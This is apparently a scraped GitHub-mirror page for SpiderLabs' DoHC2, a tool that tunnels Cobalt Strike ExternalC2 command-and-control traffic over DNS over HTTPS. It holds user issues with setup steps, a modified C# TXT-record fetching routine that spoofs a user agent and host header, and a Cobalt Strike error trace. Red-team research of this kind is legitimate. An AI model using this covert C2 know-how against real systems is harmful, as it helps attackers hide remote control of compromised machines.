spiderlabs / dohc2 Goto Github PK
View Code? Open in Web Editor NEWDoHC2 allows the ExternalC2 library from Ryan Hanson (https://github.com/ryhanson/ExternalC2) to be leveraged for command and control (C2) via DNS over HTTPS (DoH).
DoHC2 allows the ExternalC2 library from Ryan Hanson (https://github.com/ryhanson/ExternalC2) to be leveraged for command and control (C2) via DNS over HTTPS (DoH).
Hello I hope you will be able to help me as we are trying to replicate your project in our environment.
This is what I have done so far:
Created A records with entry.mydomain.com pointing to my IP address.
Created NS records send.mydomain.com point to entry.mydomain.com
Created NS records receive.mydomain.com point to entry.mydomain.com
Next updated DoHC2.py accordingly so :
INPUTDOMAIN points to send.mydomain.com
OUTPUTDOMAIN points to receive.mydomain.com
Created ExternalC2.dll library with amended lines to force dns.google:
``
public List getTxtRecords(string hostname)
{
List txtResponses = new List();
string url = String.Format("{0}?name={1}&type=TXT", dohResolver, hostname);
Console.WriteLine("[URL] {0}", url);
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls| SecurityProtocolType.Tls11| SecurityProtocolType.Tls12| SecurityProtocolType.Ssl3;
HttpWebRequest request = (HttpWebRequest)HttpWebRequest.Create(new Uri(url));
request.UserAgent = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR 1.0.3705;)";
request.Accept = "application/dns-json";
request.Host = "dns.google.com";
using (HttpWebResponse response = (HttpWebResponse)request.GetResponse())
using (Stream stream = response.GetResponseStream())
using (StreamReader reader = new StreamReader(stream))
{
var json = reader.ReadToEnd();
try{
JObject result = JObject.Parse(json);
for (int i = 0; i < result["Answer"].Count(); i++)
{
string data = (string)result["Answer"][i]["data"];
txtResponses.Add(data.Replace("\"", ""));
Console.WriteLine("[TXT] {0}", data.Replace("\"", ""));
}
}
catch
{
txtResponses.Add("");
}
}
System.Threading.Thread.Sleep(100);
return txtResponses;
}
``
Compilation was successful. Next I have built DoHC2Runner specifying:
DoHC2 doh = new DoHC2(); doh.Configure("<INPUTDOMAIN>","<OUTPUTDOMAIN>","https://dns.google.com/resolve"); doh.Go();
Started external C2 server with a script to listen on port 2222 and started DoHC2.py server to listen on port 53.
After I launch the runner from Windows 10 x64 machine I can see the communication being send in base64 and received back in base64 on the DoHC2.py server running on the VPS instance.
This is where external C2 crashes with an error:
Cobalt Strike external C2: [+] External C2 Server up on 0.0.0.0:2222 java.net.SocketException: Connection reset at java.base/java.net.SocketInputStream.read(SocketInputStream.java:186) at java.base/java.net.SocketInputStream.read(SocketInputStream.java:140) at java.base/java.io.BufferedInputStream.fill(BufferedInputStream.java:252) at java.base/java.io.BufferedInputStream.read1(BufferedInputStream.java:292) at java.base/java.io.BufferedInputStream.read(BufferedInputStream.java:351) at java.base/java.io.FilterInputStream.read(FilterInputStream.java:107) at extc2.ExternalC2Session.Read4(Unknown Source) at extc2.ExternalC2Session.run(Unknown Source) at java.base/java.lang.Thread.run(Thread.java:834) [-] Trapped java.net.SocketException during External C2 session [External C2 client]: Connection reset java.io.IOException: Read expected 4 byte length, read: -1 at extc2.ExternalC2Session.Read4(Unknown Source) at extc2.ExternalC2Session.run(Unknown Source) at java.base/java.lang.Thread.run(Thread.java:834) [-] Trapped java.io.IOException during External C2 session [External C2 client]: Read expected 4 byte length, read: -1
I would welcome your input on this one. Thanks for putting an effort into creating this. Let me know if you need more information.
Some DoH providers appear to reorder TXT responses which is not currently handled when multiple chunks are sent out of sequence in a single DNS response.
For some providers we can keep max_records to 5 which works well but for others we currently have to stick to the default of 1.
A trivial fix would be to mark response order with the first byte. However, there's probably a lot more DNS server optimizations than just this too.
Hi, I am very interested in this experiment and plan to reproduce it. But I am having problems now and would like to ask.
1 In the step 2 in Usage, when launch a beacon_http/beacon_https listener,how its port should be set? And what is the role of external_c2.cna ?
2 when I run the DoHC2.py , I get the following errors . What should I do to resolve it.
Thank you for your reply.
A declarative, efficient, and flexible JavaScript library for building user interfaces.
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google ❤️ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.